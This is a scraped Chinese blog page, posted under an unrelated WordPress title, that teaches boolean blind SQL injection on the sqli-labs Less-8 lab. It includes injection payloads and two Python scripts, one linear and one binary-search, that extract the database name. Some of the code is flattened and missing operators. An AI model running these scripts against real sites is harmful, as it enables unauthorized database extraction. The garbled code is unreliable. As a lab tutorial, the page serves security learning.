当前位置: 首页 > news >正文

自动全屏网站模板wordpress增加自适应功能

自动全屏网站模板,wordpress增加自适应功能,烟台网站制作厂家联系方式,萧山做网站的公司目录 盲注步骤 1、进入靶场 2、如下图所示输入#xff1f;id1‘ 判断此时存在注入点 3、判断列数 ​编辑 4、开始盲注 普通的python脚本 代码思想 结果 二分查找python脚本 二分查找算法思想简介 二分查找与普通查找的主要差距 代码思想 代码 结果​编辑 下面以…目录 盲注步骤 1、进入靶场 2、如下图所示输入id1‘ 判断此时存在注入点 3、判断列数 ​编辑 4、开始盲注 普通的python脚本 代码思想 结果 二分查找python脚本 二分查找算法思想简介 二分查找与普通查找的主要差距 代码思想 代码 结果​编辑 下面以sql_labs靶场第八关来理解一下bool盲注 盲注步骤 1、进入靶场 2、如下图所示输入id1‘ 判断此时存在注入点 3、判断列数 列又3变为4时You are in.....消失说明存在三列  4、开始盲注 然后我们可以开始进行注入可以使用substr函数对数据库名进行猜测。对substr切割出来的字符进行一个ascli编码然后和ascli编码比较根据结果确定数据库的名称 如下图当你测试到115时图中会显示You are in... 然后可以调整sql语句直到找到database()的名字但是如果手动一个个的话要花费的时间太久了所以我们编写一个python脚本来进行盲注 普通的python脚本 代码思想 创建一个字符集然后数据库的每个位置的字符和字符集中的字符进行比对若两者相等则字符集中字符存入dataname中最终显示dataname 代码 # 白大黑 # 开发时间$[DATE] $[TIME] import requests def get_database(url):dataname # 初始化一个空字符串用于存储数据库名dict abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ #数据库名可能存在这些字段中# 循环数据库名的位置for i in range(1, 20):for j in dict:#注入语句payload 1 AND SUBSTRING((SELECT DATABASE()), %d, 1) %s-- % (i, j)# 发送请求res requests.get(url, params{id: payload})# 如果字符匹配上了屏幕会输出You are in所以可以用You are in来检测是否字符是否可以匹配if You are in in res.text:dataname jprint(dataname)breakelse:continuereturn dataname# 此处填写自己靶场地址 url http://127.0.0.1:9002/sqli-labs-master/Less-8/ db_name get_database(url)结果 二分查找python脚本 但时刚刚的脚本还不是很好它的查找速率不是很快。所以我们可以对算法进行一下优化将上面的代码中查找的算法替换成二分查找。 二分查找算法思想简介 二分法的思想很简单因为整个数组是有序的数组默认是递增的。 首先选择数组中间的数字和需要查找的目标值比较 如果相等最好就可以直接返回答案了 如果不相等 如果中间的数字大于目标值则中间数字向右的所有数字都大于目标值全部排除 如果中间的数字小于目标值则中间数字向左的所有数字都小于目标值全部排除 二分查找与普通查找的主要差距 效率二分查找的效率远高于普通查找。由于二分查找采用了分治策略每次都将查找范围缩小一半因此其时间复杂度为O(log n)而普通查找的时间复杂度为O(n)。 前提条件二分查找要求数组必须是有序的而普通查找则没有这一要求。因此在使用二分查找之前需要先对数组进行排序。 应用场景由于二分查找效率高因此适用于大规模数据的查找而普通查找则更适用于小规模数据或对数据有序性没有要求的情况。 正好我们的盲注过程符合二分查找的条件 代码思想 将要查找的字段编码成ascii码同ascii码进行比较ascii相同该ascii对应的字母就是数据库名称 同ascii进行比较的那一段换成二分法。 代码 # 白大黑 # 开发时间$[DATE] $[TIME] import requests def half(url):name for i in range(1, 20):#从空格开始 直到到~low 32high 126mid (low high) // 2while low high:payload 1 and ascii(substr(database(),%d,1)) %d-- % (i, mid)params {id:payload}r requests.get(url, paramsparams)if You are in in r.text:low mid 1else:high midmid (low high) // 2if mid 32:breakname chr(mid)print(name) url http://127.0.0.1:9002/sqli-labs-master/Less-8/ half(url) 结果
http://www.pierceye.com/news/572079/

相关文章:

  • 广园路建设公司网站建app网站要多少钱
  • 网站域名是什么东西wordpress农历插件
  • 专业网站建设公司首选公司wordpress fruitful
  • 微博wap版登录入口seo 网站标题长度
  • 网站面包屑导航设计即位置导航局域网安装wordpress
  • 泰安网站建设xtempire国家开放大学网站界面设计
  • 绘制网站结构图建站公司售后服务
  • 漂亮的博客网站模板装修公司网站开发
  • 厦门网站注册与网页设计公司wordpress找不到php的拓展
  • 常熟网站建设icp备案自己怎样创建网站
  • 移动互联网站建设seo流量排名门户
  • 做腰椎核磁证网站是 收 七设计网络品牌营销方案思路
  • 外贸网站建站系统基于php网站开发
  • 可以做代销的网站都有哪些神马网站快速排名案例
  • 个人能申请网站吗百度站长提交网址
  • 给素材网站做签约设计不想做了网络规划设计师教程第2版pdf
  • 新做的网站怎样推广html代码加密
  • 织梦淘宝客网站嘉兴网站开发公司
  • 宁波网站推广营销网上购物软件哪个好
  • 网站 风格做网站都可以做什么
  • 网站的建设公司简介现在建站好么
  • 简述电子商务网站建设流程wordpress极速优化
  • 移动网站怎么做万维设计
  • 建设网站我们重中之重-用户体验企业网站模板 首页大图
  • 怎么在本地做网站wordpress 建表
  • wordpress整站数据网站设计公司排名
  • 常州建设局网站海南网站建设报价方案
  • 做网站流量怎么解决广州热点新闻
  • 浙江省网站icp备案网页设计大赛海报
  • 做传奇开服一条龙网站哪个好学计算机网站建设